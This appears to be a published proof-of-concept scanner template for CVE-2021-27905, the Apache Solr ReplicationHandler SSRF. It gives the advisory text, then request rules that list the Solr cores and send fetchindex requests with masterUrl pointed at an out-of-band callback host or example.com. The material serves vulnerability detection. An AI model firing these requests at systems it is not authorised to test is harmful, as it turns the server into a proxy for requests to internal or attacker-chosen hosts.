The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
PoC代码[已公开]
id: CVE-2021-27905
info:
name: Apache Solr <= 8.8.1 SSRF
author: hackergautam
severity: critical
verified: true
description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
reference:
- https://www.anquanke.com/post/id/238201
- https://ubuntu.com/security/CVE-2021-27905
- https://nvd.nist.gov/vuln/detail/CVE-2021-27905
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
tags: cve,cve2021,apache,solr,ssrf
created: 2024/02/26
set:
oob: oob()
oobHTTP: oob.HTTP
rules:
r0:
request:
method: GET
path: /solr/admin/cores?wt=json
expression: response.status == 200 && response.body.bcontains(b"responseHeader")
output:
search: '"\"name\":\"(?P<core>.+?)\"".bsubmatch(response.body)'
core: search["core"]
r1:
request:
method: GET
path: /solr/{{core}}/replication/?command=fetchindex&masterUrl={{oobHTTP}}
expression: oobCheck(oob, oob.ProtocolHTTP, 3)
stop_if_match: true
r2:
request:
method: GET
path: /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com
expression: |
response.body.bcontains(b'<str name="status">OK</str>') ||
(response.body.bcontains(b'"status":"OK"') && response.body.bcontains(b'"responseHeader":'))
expression: r0() && (r1() || r2())